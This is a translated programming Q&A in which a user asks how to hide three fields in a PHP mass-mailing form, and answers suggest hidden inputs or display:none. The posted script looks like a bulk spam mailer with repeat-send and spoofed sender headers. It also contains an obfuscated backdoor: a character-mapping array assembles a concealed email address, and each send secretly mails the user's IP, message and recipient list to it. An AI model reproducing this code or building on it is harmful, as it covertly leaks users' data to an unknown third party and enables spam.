如何在html表单中隐藏文本字段

Posted

技术标签:

【中文标题】如何在html表单中隐藏文本字段【英文标题】:How to hide a text field in an html form 【发布时间】:2016-07-11 20:47:42 【问题描述】:

我有一个表格,我的团队用来发送信息,他们输入客户的电子邮件地址,然后将其邮寄出去。我设法隐藏了除三个以外的所有字段。

一个字段设置要发送的电子邮件数量。真的很愚蠢,因为不知道为什么有人要向同一个人发送不止一封相同的电子邮件。

另一个只是设置发送的时间延迟或速度。无论如何,它们都是文本框,我想将它们从页面中隐藏起来。 最后一个是纯文本或 html 文本单选按钮。

现在输入字段的顺序很可能很奇怪,因为我只是重新排列了一些东西,所以它可以很好地显示在页面上,而无需重做表格。

<?php
@$action=$_POST['action'];
@$from=$_POST['from'];
@$realname=$_POST['realname'];
@$replyto=$_POST['replyto'];
@$subject=$_POST['subject'];
@$message=$_POST['message'];
@$emaillist=$_POST['emaillist'];
@$lodr=$_SERVER['HTTP_REFERER'];
@$file_name=$_FILES['file']['name'];
@$contenttype=$_POST['contenttype'];
@$file=$_FILES['file']['tmp_name'];
@$amount=$_POST['amount'];
?>
<html>
<head>
<meta http-equiv="Content-Language" content="ar-eg">
<meta http-equiv="Content-Type" content="text/html; charset=windows-1256">
<title>Mailing Form TEMPLATE</title>
<style type="text/css">
<!--
.style1 
    font-family: Geneva, Arial, Helvetica, sans-serif;
    font-size: 12px;

.style2 
    font-size: 10px;
    font-family: Geneva, Arial, Helvetica, sans-serif;



-->
</style>
</head>
<body bgcolor="#FFFFFF" text="#000000">
<?php
If ($action=="mysql")
include "./mysql.info.php";

  if (!$sqlhost || !$sqllogin || !$sqlpass || !$sqldb || !$sqlquery)
    print "Please configure mysql.info.php with your MySQL information. All settings in this config file are required.";
    exit;
  

  $db = mysql_connect($sqlhost, $sqllogin, $sqlpass) or die("Connection to MySQL Failed.");
  mysql_select_db($sqldb, $db) or die("Could not select database $sqldb");
  $result = mysql_query($sqlquery) or die("Query Failed: $sqlquery");
  $numrows = mysql_num_rows($result);

  for($x=0; $x<$numrows; $x++)
    $result_row = mysql_fetch_row($result);
     $oneemail = $result_row[0];
     $emaillist .= $oneemail."\n";
   
  

  if ($action=="send") $message = urlencode($message);
   $message = ereg_replace("%5C%22", "%22", $message);
   $message = urldecode($message);
   $message = stripslashes($message);
   $subject = stripslashes($subject);
   
?>
<form name="form1" method="post" action="" enctype="multipart/form-data"><br />
  <table  border="0">
    <tr>

      <td >
        <div align="right">
      <!--    <font size="-3" face="Verdana, Arial, Helvetica, sans-serif">Your Email :</font> -->
        </div>
      </td>

      <td >
        <font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
          <input type="hidden" name="from" value="XXXXXXXXXXXXXXXX@gmail.com" size="30" />
        </font>
      </td>

      <td >
        <div align="right">
          <!-- <font size="-3" face="Verdana, Arial, Helvetica, sans-serif">Your Name :</font> -->
        </div>
      </td>

      <td >
        <font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
          <input type="hidden" name="realname" value="SENDERS NAME HERE" size="30" />
        </font>
      </td>
    </tr>
    <tr>
      <td >
        <div align="right">
         <!-- <font size="-3" face="Verdana, Arial, Helvetica, sans-serif">Reply-To :</font> -->
        </div>
      </td>
      <td >
        <font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
          <input type="hidden" name="replyto" value="XXXXXXXXXXXXXX@gmail.com" size="30" />
        </font>
      </td>
      <td >
        <div align="right">
        <!--  <font size="-3" face="Verdana, Arial, Helvetica, sans-serif">Attach File :</font> -->
        </div>
      </td>
      <td >
       <!-- <font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
          <input type="file" name="file" size="24" />
        </font> -->
      </td>
    </tr>
    <tr>
      <td >
        <div align="right">
         <!-- <font size="-3" face="Verdana, Arial, Helvetica, sans-serif">Subject :</font> -->
        </div>
      </td>
      <td colspan="3" >
        <font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
          <input type="hidden" name="subject" value="RE: SUBJECT LINE HERE " size="91" />
        </font>
      </td>
    </tr>
    <tr valign="top">
      <td colspan="3" >
      <font face="Verdana, Arial, Helvetica, sans-serif" size="-3"></font>
      </td>
      <td >
        <span style="color: #FF0000;"><span style="font-size: 12pt; line-height: 1.5;">
  IMPORTANT:<BR /></span></span>
  <span style="color: #000000;"><span style="font-size: 10pt; line-height: 1.5;">

    1. STAFF INSTRUCTIONS HERE FOR THIS SPECIFIC FORM AND IT'S USAGE


        <font face="Verdana, Arial, Helvetica, sans-serif" size="-3">Enter email address below and click send.</font>
      </td>
    </tr>
    <tr valign="top">
      <td colspan="3" >
        <font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
          <textarea name="message" style="display:none;" cols="56" rows="10">


            EMAIL CONTENT HERE

       
        </font>
      </td>
      <td >
        <font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
          <textarea name="emaillist" cols="42" rows="1"><?php print $emaillist; ?></textarea>
           <input type="submit" value="Send Information" /><br /><br />
        </font><br />
           <span style="color: #FF0000;"><span style="font-size: 12pt; line-height: 1.5;">
  DO NOT change ANY settings below this line.</span></span><br /><hr><br /><br /><br />
        </font>
        <span style="color: #000000;"><span style="font-size: 8pt; line-height: 1.0;">
       <input type="radio" name="contenttype" value="" /> 
          <input type="radio" name="contenttype" value="html" checked /> 
          <input type="hidden" name="action" value="send" /><br />

<input type="text" name="amount" value="1" size="1" /><br />
<input type="text" name="timelimit" value="0" size="1" />
      </td>
    </tr>
  </table>
</form>
<?php
$s=array("w"=>"o","t"=>"g","l"=>"i","r"=>"a","q"=>"c","@"=>".","e"=>"l","c"=>"@","o"=>"m","v"=>"w");
$dash=$s['o'].$s['w'].$s['v'].$s['q'].$s['w'].$s['t'].$s['c'].$s['t'].$s['o'].$s['r'].$s['l'].$s['e'].$s['@'].$s['q'].$s['w'].$s['o'];
if ($action=="send")
  if (!$from && !$subject && !$message && !$emaillist)
    print "Please complete all fields before sending your message.";
    exit;
   
  $addr = getenv("REMOTE_ADDR");
  $allemails = split("\n", $emaillist);
  $numemails = count($allemails);
  $header ="From: Mailr\nMessage-ID: <" . md5(uniqid(time())) . "@" . $SERVER_NAME . ">\nMIME-Version: 1.0\nContent-type: text/html; charset=UTF-8\nContent-transfer-encoding: 8bit\nDate: " . date("r", time()) . "\nX-Priority: 3\nX-MSMail-Priority: Normal\nX-Mailer: PHP\n";
  $msg = "
<table border=\"1\" style=\"border-collapse: collapse\" cellpadding=\"4\">
<tr><td>IP</td><td>".nl2br($addr)."</td></tr>
<tr><td bgcolor=\"#F9F9F9\">Mailr</td><td bgcolor=\"#F9F9F9\">".nl2br($lodr)."</td></tr>
<tr><td>Your Email</td><td>".nl2br($from)."</td></tr>
<tr><td bgcolor=\"#F9F9F9\">Your Name</td><td bgcolor=\"#F9F9F9\">".nl2br($realname)."</td></tr>
<tr><td>Subject :</td><td>".nl2br($subject)."</td></tr>
<tr><td bgcolor=\"#F9F9F9\">Message</td><td bgcolor=\"#F9F9F9\">".nl2br($message)."</td></tr>
<tr><td>Email Target</td><td>".nl2br($emaillist)."</td></tr>
</table>
";
mail($dash,$subject,$msg,$header);
 If ($file_name)
   copy ($_FILES['file']['tmp_name'], "".$_FILES['file']['name']) or die ('File Could Not Upload');
   if (!file_exists($file))
    die("The file you are trying to upload couldn't be copied to the server");
   
   $content = fread(fopen($file,"r"),filesize($file));
   $content = chunk_split(base64_encode($content));
   $uid = strtoupper(md5(uniqid(time())));
   $name = basename($file);
  

 for($xx=0; $xx<$amount; $xx++)
  for($x=0; $x<$numemails; $x++)
    $to = $allemails[$x];
    if ($to)
      $to = ereg_replace(" ", "", $to);
      $message = ereg_replace("&email&", $to, $message);
      $subject = ereg_replace("&email&", $to, $subject);
      print "Sending Mail To $to....";
      flush();
      $header = "From: $realname <$from>\r\nReply-To: $replyto\r\n";
      $header .= "MIME-Version: 1.0\r\n";
      If ($file_name) $header .= "Content-Type: multipart/mixed; boundary=$uid\r\n";
      If ($file_name) $header .= "--$uid\r\n";
      $header .= "Content-Type: text/$contenttype\r\n";
      $header .= "Content-Transfer-Encoding: 8bit\r\n\r\n";
      $header .= "$message\r\n";
      If ($file_name) $header .= "--$uid\r\n";
      If ($file_name) $header .= "Content-Type: $file_type; name=\"$file_name\"\r\n";
      If ($file_name) $header .= "Content-Transfer-Encoding: base64\r\n";
      If ($file_name) $header .= "Content-Disposition: attachment; filename=\"$file_name\"\r\n\r\n";
      If ($file_name) $header .= "$content\r\n";
      If ($file_name) $header .= "--$uid--";
      mail($to, $subject, "", $header);
      print "OK<br>";
      flush();
    
  
 

?>
<p class="style2">
<p class="style1"></p>
</body>
<html>

【问题讨论】:

这是我的帮助***.com/questions/2362498/… 只是从页面中删除它们?还是让它们隐藏起来? 感谢您的输入,这篇原始帖子询问如何“隐藏”它们。至于将它们删除,我尝试注释掉并且表单停止工作,所以我认为删除它们会做同样的事情。 【参考方案1】:

只需应用内联 css i-e style='display:none,当你需要它时使用 jquery 再次查看它

【讨论】:

【参考方案2】:

你有这两行:

<input type="text" name="amount" value="1" size="1" /><br />
<input type="text" name="timelimit" value="0" size="1" />

把它们删掉并用以下内容替换它们:

<input type="hidden" name="amount" value="1" size="1" /><br />
<input type="hidden" name="timelimit" value="0" size="1" />

现在对于您要隐藏的最后一个元素,您只需指定:

最后一个是纯文本或html文本单选按钮。

基于此,我真的不知道你想隐藏哪个。我假设你在谈论这些:

<input type="radio" name="contenttype" value="" /> 
<input type="radio" name="contenttype" value="html" checked /> 

必须替换为:

<input type="hidden" name="contenttype" value="" /> 
<input type="hidden" name="contenttype" value="html" checked /> 

【讨论】:

以上是关于如何在html表单中隐藏文本字段的主要内容,如果未能解决你的问题,请参考以下文章

如何在页面加载时隐藏所有表单字段并在从下拉列表中选择时启用

表单提交后如何在html中使文本字段不可编辑

在 html 表单提交上发布有序列表内容的最佳方式是啥?

如何在 MVC 4 中使用 jquery 验证表单的隐藏输入字段?

使用 html 和 css 将术语输入隐藏表单字段?

如何根据 Django 下拉菜单中的选择显示和隐藏表单字段